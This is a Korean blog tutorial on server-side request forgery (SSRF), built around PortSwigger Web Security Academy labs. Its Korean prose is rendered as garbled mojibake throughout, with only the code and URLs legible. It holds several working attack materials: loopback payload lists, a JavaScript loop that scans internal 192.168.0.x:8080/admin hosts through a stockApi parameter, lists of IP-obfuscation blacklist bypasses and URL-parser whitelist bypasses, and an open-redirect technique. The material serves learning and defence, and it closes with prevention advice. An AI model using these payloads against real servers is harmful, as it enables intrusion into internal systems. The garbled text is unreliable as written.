ν°μ€ν 리 λ·°
κ°μ
SSRFλ Server Side Request Forgeryμ μ½μλ‘ μ μ¬ν μ΄λ¦μ κ°μ§ CSRF(Cross Site Request Forgery) μλ λ€λ₯΄κ² ν΄λΌμ΄μΈνΈ μΈ‘μ μμ²μ λ³μ‘°μν€λ κ²μ΄ μλ μλ² μΈ‘ μ체μ μμ²μ λ³μ‘°νμ¬ κ³΅κ²©μκ° μνλ ννμ μ μ± νμλ₯Ό μλ²μ λμ Έμ£Όλ©΄ μλ²κ° κ²μ¦ μμ΄ κ·Έλλ‘ λ°μ κ·Έμ λ°λ₯Έ νλ/μλ΅μ ν΄μ£Όλ 곡격μ λλ€.
μΌλ°μ μΌλ‘ 맀κ°λ³μμ HTTP μμ²μ ν΅ν΄ μ μ ν μλ΅μ λ°μ μ μλ€λ©΄ μΆ©λΆν μλν΄λ³Ό λ§ν 곡격μΌλ‘ μ΅κ·Ό λ€μ΄ λ©ν° ν΄λΌμ°λ νκ²½μμ μ£Όλ‘ μ°μ΄λ λ©ν λ°μ΄ν° APIλ μΈνλΌ λ΄μ ꡬμ±, λ‘κ·Έ, μΈμ¦, λ€μν λ°μ΄ν°μ λ‘컬μμλ§ μ‘μΈμ€ ν μ μμ΅λλ€. λ§μ½ SSRF μ·¨μ½μ μ΄ μ‘΄μ¬ν κ²½μ° λ΄λΆμ μ¨κ²¨μ§ λ€νΈμν¬μ μλλΌλ 곡격μμ μΉμμ μμ²νλ λ©νλ°μ΄ν°λ₯Ό μ‘°μνμ¬ λ΄λΆ μμ€ν μ μ°°κ³Ό λ€μν μ격μ¦λͺ μ νΈμΆν κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€.
μμ£Ό λ°μλλ μ·¨μ½μ μ μλμ§λ§ νκΈν¨κ³Όκ° ν° μ·¨μ½μ μ λλ€. μ΄λ¬ν μ΄μκ° λ°μνλ λλΆλΆμ μ΄μ λ μ¬μ©μλ€μ μ λ ₯κ°μ μ λλ‘ κ²μ¦νμ§ μλ λ¬Έμ λ μμ§λ§ μ무λλ λ΄λΆ μ¬μ€λ‘λ§ μ΄λ£¨μ΄μ Έ μκ³ μΈλΆμμ μ κ·Όμ΄ λΆκ°λ₯ν κ²μ΄λΌ νλ¨νμ¬ λ³΄μμ λν΄ μ‘°κΈ μνν΄μ§λ κ²λ λ¬Έμ μ λλ€.
μ무리 λΆλ¦¬λ λ΄λΆ λ€νΈμν¬λ€ νλλΌλ μ°λ¦¬μκ² λ³΄μ΄λ μλΉμ€κ° λ΄/μΈλΆ μμ€ν κ³Ό μ‘°κΈμ΄λΌλ μνΈμμ©μ νλ€λ©΄ μ΄λ λ°λλ‘ μ κ·Όμ μλν μ μλ€λ μκΈ°μ λλ€.
μ¬κΈ°μ λ§νλ μνΈμμ©μ΄λ νμ΄μ§ λ²μ κΈ°λ₯μ νΈμΆνμ¬ λ²μμ νκ±°λ, λ§ν¬ μ½μ μ μΈλ€μΌ μ΄λ―Έμ§ νΈμΆ, μΈλΆμ λ°μ΄ν°λ₯Ό λ€μ΄λ‘λ λ° μ μ₯ν κ²½μ°, μΉ ν μΌλ‘ μ΄λ²€νΈ λ°μ μ μ§μ λ URLλ‘ μ½λ°± μμ²νμ¬ λ€λ₯Έ μλΉμ€μκ² μ΄ μ¬μ€μ μ리λ νκ²½μμ μ£Όλ‘ λ°μν©λλ€.
<Basic Loopback>
http://localhost:80
http://localhost:8080
http://127.0.0.1:80
http://127.0.0.1:8080
http://192.168.0.1:80
http://192.168.0.1:8080
http://192.168.1.1:80
http://192.168.1.1:8080
Find Back-End System
ν΄λΉ νμ΄μ§μ μ¬κ³ νμΈ λ²νΌμ λλ₯΄λ©΄ stockApi λ³μλ₯Ό ν΅ν΄ λ΄λΆ μμ€ν κ³Ό μνΈμμ©νμ¬ μ νμ 보μ κ°μλ₯Ό νμΈνμ¬ μλ΅ν΄μ£Όλ νμ΄μ§κ° μ‘΄μ¬ν©λλ€.
μ¬κ³ λ₯Ό νμΈν μ μλ μλ κ²½λ‘λ μ κ±°νκ³ λ΄λΆ μμ€ν μ λμμ΄ 192.168.0.x:8080μ μ‘΄μ¬ν κ²μ΄λΌλ κ±Έ μ΄μ©νμ¬ μΈλΆμμ λ ΈμΆλμ§ μλ /admin νμ΄μ§κ° μλμ§ μμ²μ λ³΄λΌ μ μμ΅λλ€.
Numbers νμ΄λ‘λλ₯Ό νμ©νμ¬ 192.168.0.x:8080 "x" μ리μ μ«μ 1μ© μ¦κ°μμΌ HTTP μλ΅ μ½λκ° λ€λ₯΄κ² λμ¨ μλ¦Ώμλ₯Ό νμΈν μ μμ΅λλ€. 200 μ½λλ₯Ό μλ΅ν κ²μΌλ‘ 보μ λ΄λΆ μμ€ν μ΄ 192.168.0.153 μ£Όμλ₯Ό κ°μ§ κ²μ μμμ΅λλ€.
Reapter κΈ°λ₯μ μ¬μ©νμ¬ 153 λμμ μμ²μ λ λ €λ³΄λ©΄ μΈλΆμμ νμΈλμ§ μμλ URi μ 보λ₯Ό νλν μ μμ΅λλ€. λ ΈμΆλ URi μ 보λ₯Ό ν΅ν΄ κ΄λ¦¬μ κ³μ μ μμ ν μ μμ΅λλ€.
for(var i = 0; i <=255; i++) {
var x = new XMLHttpRequest();
x.open('POST','https://acf51f0d1ff7e0b981797fca004900d5.web-security-academy.net/product/stock',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
x.send('stockApi=http://192.168.0.' + i.toString() + ':8080/admin');
console.log(i, x.status);
if(x.status == '200'){
break;
}
}
λ²ν μ€μνΈ μ΄μΈμ κ°λ¨ν jsμ½λλ₯Ό νμ©νμ¬ μ½μμ μ°μ΄λ³΄μ€ μλ μμ΅λλ€. μ무λλ λ²ν μ€μνΈλ³΄λ€ μμ²/μλ΅ μλκ° λΉ λ₯΄κΈ° λλ¬Έμ μ μ©ν μ°μΌ μ μμ΅λλ€.
μ§μ λ μμΉμ 1μ© κ°μ μ¦κ°μμΌ if(x.status == '200')λ₯Ό ν΅ν΄ μ‘΄μ¬νλ IP AddressμΈ κ²½μ° μμ²λΌ νμκ° λ©λλ€.
Blacklist FIlter Bypass
λλΆλΆ μμ€ν μμλ μμΉ« λ¬Έμ κ° λ°μν μ μλ 루νλ°± μ£Όμ "localhost", "127.0.0.1"μ λν μμ²μ μ°¨λ¨νκ³ μμ΅λλ€. νμ§λ§ μΆκ°μ μΌλ‘ κ²μ¦μ νμ§ μμΌλ©΄ μ΄ λν μ°νκ° κ°λ₯ν©λλ€.
λ€μν μ°ν ν¨ν΄μ΄ μ‘΄μ¬νμ§λ§ κ·Έμ€μμ μ£Όλ‘ μ¬μ©λλ λ°©λ²μ IP Obfuscation(λλ ν)λ₯Ό ν΅ν΄ λΈλ리μ€νΈμ νλͺ©μμ λ²μ΄λ μ μμ΅λλ€.
*λλ ν κ΄λ ¨ ν¬μ€ν
guleum-zone.tistory.com/162?category=441533
<Blacklist Bypass>
http://127.0.1
http://127.1
http://0:8080
http://0.0.0.0:80
http://2130706433 => 127.0.0.1
http://0x7f000001 => 127.0.0.1
http://0177.0000.0000.0001 => 127.0.0.1
http://%3127%2E%30%2E%30%2E%31 => 127.0.0.1
http://3232235521 => 192.168.0.1
http://0xc0a80001 => 192.168.0.1
http://0300.0250.0000.0001 => 192.168.0.1
http://%3192%2E%3168%2E%30%2E%31 => 192.168.0.1
http://3232235777 => 192.168.1.1
http://0xc0a80101 => 192.168.1.1
http://0300.0250.0001.0001 => 192.168.1.1
http://%3192%2E%3168%2E%31%2E%31 => 192.168.1.1
Whitelist Filter Bypass
μ΄λ μ λ νν°λ§λ₯Ό μννκ³ μλ κ²½μ° "Whitelist"λ°©μμ μ¬μ©νμ¬ μ§μ λ λͺ©μ μ§κ° μλ κ²½μ° μ°¨λ¨νκ³ μμ΅λλ€. μ¬μ€ μ΄λ¬ν νκ²½μ λ§μ£Όνκ² λ κ²½μ° λ²μ΄λκΈ°κ° μ½μ§ μμ§λ§ μμ²λΌ νμ© λλ©μΈ ν¨ν΄μ μμλ΄λ©΄ μ°ν κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€.
ν΄λΉ νμ΄μ§μ κ²½μ° νμ©λ λλ©μΈμΈ "stock.weliketoshop.net"μ΄ νλΌλ―Έν° μμ ν¬ν¨λμ΄ μλμ§ λ¨Όμ κ²μ¦μ νκ³ μ‘΄μ¬ν κ²½μ° μμ²μ λ°μλ€μ΄κ³ μ€νν©λλ€.
λ§μ½ μ§μ λ κ²½λ‘μ λν΄ νμ΄νΈ 리μ€νΈ λλ λΈλ리μ€νΈ κΈ°λ°μΌλ‘ URL κ²μ¦μ νλ€ νλλΌλ μ λ ₯λ λ°μ΄ν°κ° μ¬λ°λ₯Έμ§ μ² μ νκ² κ²μ¦νμ§ μμ κ²½μ° URL Parserμ νΉμ§μ μ΄μ©ν΄ μ°νκ° κ°λ₯ν©λλ€.
<Whitelist Bypass>
https://www.naver.com#www.daum.net
https://www.naver.com@www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/#///www.daum.net
https://www.naver.com#.#www.daum.net
https://www.naver.com&@www.daum.net
https://www.naver.com:x@www.daum.net
https://www.naver.com%2523@www.daum.net
https://www.naver.com/#/**/www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/\?url=https://www.daum.net
https://1.1.1.1 &@www.daum.net# @3.3.3.3
https://1.1.1.1%0D0A&@www.daum.net#%0D0A@3.3.3.3
Using Open Redirect
λμ μ ν리μΌμ΄μ μ Open Redirect κ΄λ ¨ μ·¨μ½μ μ΄ μ‘΄μ¬ν κ²½μ° ν΄λΉ νμ΄μ§κ° Back-End λ°©ν₯μΌλ‘ API μμ²μ μ¬μ©νλ€λ©΄ ν΄λΉ λ³μμ μ°λ¦¬κ° κ°κ³ μ νλ λ΄λΆ κ²½λ‘λ‘ λ³κ²½νμ¬ μλ΅ κ°μ λ°λ₯Έ μΆλ‘ μ ν μ μμ΅λλ€.
ν΄λΉ νμ΄μ§λ StockAPIλ³μμ κ° μ€μ νμ©λ μ£Όμκ° μ‘΄μ¬νλμ§ κ²μ¦νμ§ μκ³ μμΌλ©° μ‘΄μ¬νλ μνμΌλ‘ κ°λ λλ©μΈ κ²½λ‘λ₯Ό λ΄λΆ μμ€ν μ£Όμλ‘ μμ²(192.168.0.1:8080)μ 보λ΄λ³Έ κ²°κ³Ό μ λ λ€λ₯Έ 404λ² μλ΅μ΄ νμΈλ©λλ€.
8080/"inject!!" μμΈν κ²½λ‘λ₯Ό νμΈνκΈ° μν΄ μ§μ κ°μ μ λ ₯νκ±°λ μ¬μ λμ 곡격μ νμ¬ μμ²λΌ μλ΅ μμ€κ° λνλλ€λ©° μ±κ³΅μ μΌλ‘ accessκ° λ κ²μ λλ€.
λ΄λΆμμλ§ νμΈμ΄ κ°λ₯ν λλ©μΈμ μμΌλ‘ μμ²νμ¬ μ§μ μμ²μ νλ κ²μ΄ μλ μΈ‘λ©΄ 곡격μ ν΅ν΄ μνλ μ μ± νμκ° κ°λ₯ν΄μ§λλ€.
SSRF λ₯Ό μλ°©νκΈ° μν΄
SSRFμ λν 곡격 벑ν°λ κ΅μ₯ν λ€μνλ©° μ΄λ¬ν 곡격μ λ§κΈ° μν΄μ ν κ°μ§ μΈ‘λ©΄μ΄ μλ μ¬λ¬ μΈ‘λ©΄μ μκ°νμ¬ μ‘°μΉλ₯Ό μ·¨ν΄μ£Όμ μΌ λ©λλ€.
첫 λ²μ§Έλ‘ μ μΌ μ€μν κ²μ λ΄λΆ μμ€ν κ³Ό μνΈ μμ©νλ λ³μμ λΆνμν κ°μ΄ μ λ ₯λ κ²½μ° λ¬΄ν¨μ²λ¦¬λ₯Ό ν΄μΌ λ©λλ€.
λ λ²μ§Έλ‘ λ³μμ μ λ ₯λ μ£Όμκ° μ¬λ°λ₯Έ μ£Όμκ° λ§λμ§ μ¦ μ λ’°νλ μ£Όμκ° λ§λμ§ μ¬κ²μ¦μ ν΄μΌ λ©λλ€.
μΈ λ²μ§Έλ‘ μ¬λ¬ μ°ν 곡격 κΈ°λ² μ€μ λμ μ¬μ΄νΈμ λν μ λ’°ν μ μλ λλ©μΈκ³Ό 루νλ°± μ£Όμλ₯Ό λ§€μΉ νμ¬ μ§μ ν΄λ λλ©μΈμ μμ²νλ κ²½μ°κ° μ‘΄μ¬νκΈ° λλ¬Έμ μμ² μ λλ©μΈ μ΄λ¦μ λν κ²μ¦λ μνν΄μ£Όμλ κ²μ΄ μ’μ΅λλ€.
*Reference
book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
code-machina.github.io/2019/09/25/Server-Side-Request-Forgery-Prevention.html
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
HTTP Request Smuggling(HTTP Desync Attack) μ·¨μ½μ (1) | 2021.04.17 |
---|---|
κ΅μ°¨ μΆμ² 리μμ€ κ³΅μ (CORS) μ·¨μ½μ (3) | 2021.04.16 |
Session Fixation(μΈμ κ³ μ ) μ·¨μ½μ (0) | 2021.02.21 |
Gophish(Phishing Framework) μ¬μ©λ² (1) | 2021.01.19 |
Gophish(Phishing Framework) μ€μΉ (0) | 2021.01.18 |